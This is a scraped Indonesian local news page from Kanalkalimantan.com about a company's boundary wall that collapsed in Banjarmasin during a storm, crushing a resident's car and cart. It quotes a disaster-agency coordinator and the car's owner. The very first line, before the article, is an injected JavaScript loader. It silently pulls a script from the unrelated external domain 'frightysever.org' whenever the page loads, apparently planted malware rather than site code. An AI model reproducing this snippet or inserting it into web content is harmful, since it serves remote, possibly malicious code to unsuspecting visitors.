(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pagar tembok sebuah kantor perusahaan di Kelurahan Telawang Kecamatan Banjarmasin Barat Kota Banjarmasin ambruk ke jalan kawasan permukiman warga, Kamis (8/2/2024) subuh.
Pagar tembok setingginya 3 meter itu ambruk menimpa sebuah mobil jenis LCGC milik warga yang sedang terparkir.
Korlap BPBD Banjarmasin, Andi mengatakan, kejadian ambruk pagar tembok itu sekitar pukul 05.30 Wita, saat Kota Banjarmasin sedang dilanda hujan lebat disertai angin kencang.
Panjang tembok yang ambruk kata Andi hampir 20 meter, robih mengarah ke jalan permukiman warga RT 01 Kelurahan Telawang.
BPBD Banjarmasin memastikan tak ada korban jiwa atau luka dalam peristiwa tersebut. Kecuali, sebuah mobil dan gerobak warga yang rusak akibatnya tertimpa beton.
“Yang ambruk tembok bangunan perusahaan, menimpa satu unit mobil dan gerobak milik warga,” katanya di lokasi kejadian, Kamis (8/2/2024) pagi.
Dugaan sementara, kata Andi, ambruknya bangunan tembok milik perusahaan tersebut disebabkan angin kencang disertai hujan lebat yang terjadi pada waktu subuh.
“Karena hujan deras disertai angin kencang, ditambah lagi bangunan yang tidak kokoh karena terkikis air,” kata Korlap BPBD Banjarmasin.
Pantauan Kanalkalimantan.com, jalan aspal dengan lebar 3 meter di Kelurahan Telawang RT 1 saat ini belum dapat dilewati mobil atau sepeda motor karena masih tertutup material tembok.
Mobil berwarna hitam yang tertimpa tembok terlihat mengalami ringsek parah dan kaca mobil bagian depan dan samping kiri pecah.
Kemudian, keempat ban mobil juga ikut pecah akibat tak kuat menahan beratnya beban material tembok yang ambruk. Sementara untuk gerobak nyaris tak berbentuk.
Tembok robih tersebut juga menyebabkan aliran listrik di sekitar lokasi kejadian harus dipadamkan sementara, akibat kabel dan tiang listrik ikut tertimpa.
Baca juga: Merasakan Sensasi di Puncak Tahura Mandiangin Era Hindia Belanda
Seorang warga sekitar sekaligus pemiliki mobil yang tertimpa tembok, M Noor mengaku terkejut saat mendengar suara gemuruh dan getaran dari depan rumahnya saat kondisi hujan deras. Kebetulan saat itu hujan juga disertai petir.
“Bergoyang rumahku, seperti gempa,” kata Noor.
Saat dia melihat keluar, tembok perusahaan tersebut sudah ambruk mengarah ke arah rumahnya dan mobilnya yang terparkir di depan rumah tertimpa tembok.
Sementara, saat ini, petugas BPBD Banjarmasin, DPKP Banjarmasin, dan pihak terkait lainnya bersama warga masih berusaha membersihkan material tembok yang menutup jalan dan menimpa mobil. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.